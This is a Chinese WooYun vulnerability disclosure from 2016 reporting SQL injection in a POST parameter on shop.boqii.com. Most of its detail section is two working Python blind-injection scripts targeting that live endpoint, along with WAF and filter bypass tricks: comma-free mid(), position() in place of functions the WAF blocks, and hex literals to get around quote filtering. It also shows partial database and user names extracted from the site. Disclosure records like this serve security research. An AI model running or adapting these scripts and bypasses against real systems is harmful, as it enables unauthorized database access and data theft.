当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0178676

漏洞标题:波奇网某站SQL注入

相关厂商:波奇网

漏洞作者: null_z

提交时间:2016-02-26 10:46

修复时间:2016-03-02 10:50

公开时间:2016-03-02 10:50

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-02-26: 细节已通知厂商并且等待厂商处理中
2016-03-02: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

。。。

详细说明:

注入点 http://shop.boqii.com/ajax.html?ctl=productlist&act=proActivity
POST pids=1
过滤了逗号,估计使用了 IN 可以用 mid(version() from 1 for 1)绕过
True

屏幕快照 2016-02-25 20.29.42.png


False

屏幕快照 2016-02-25 20.29.56.png


获取数据的时候又加速乐,绑定host可以让加速乐实效,不过本身可以绕过

屏幕快照 2016-02-25 20.42.02.png


fuzz一下发现 position( xx in @@version) 不拦截,所以脚本

#!/usr/bin/env python
#-*-coding:utf-8-*-
import requests
headers = {'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.69 Safari/537.36',
'referer': 'http://shop.boqii.com/ajax.html?ctl=productlist&act=proActivity'}
payloads = '0123456789_@. abcdefghijklmnopqrstuvwxyz'
url = 'http://shop.boqii.com/ajax.html?ctl=productlist&act=proActivity'
res = ''
for i in range(1,18):
for p in payloads:
key = "(case when position({} in @@version)=1 then 13554 else 1 end)".format(res + p)
data = {'pids': key}
req = requests.post(url, data=data, headers=headers)
print req.text
if "productid" in req.text:
res = res + p
print "\n" + res + "\n"
break
print key
print "\n\n" + res + "\n"


又过滤了单引号,无法猜解字母,以为只能猜解vesrion,不甘心。
继续试试发现 select 0x55 会显示字母U而且加速乐不拦截。
bingo !

漏洞证明:

db hzkj_

屏幕快照 2016-02-25 21.34.31.png


user boqi_weusr@10.45 后几位不猜

屏幕快照 2016-02-25 21.38.46.png


脚本如下

#!/usr/bin/env python
#-*-coding:utf-8-*-
import requests
headers = {'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.69 Safari/537.36',
'referer': 'http://shop.boqii.com/ajax.html?ctl=productlist&act=proActivity'}
payloads = '0123456789_@. abcdefghijklmnopqrstuvwxyz'
url = 'http://shop.boqii.com/ajax.html?ctl=productlist&act=proActivity'
res = ''
for i in range(1,18):
for p in payloads:
key = "(case when position((select {}) in user())={} then 13554 else 1 end)".format(hex(ord(p)),i)
data = {'pids': key}
req = requests.post(url, data=data, headers=headers)
print req.text
if "productid" in req.text:
res = res + p
print "\n" + res + "\n"
break
print key
print "\n\n" + res + "\n"

修复方案:

。。。。

版权声明:转载请注明来源 null_z@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2016-03-02 10:50

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

暂无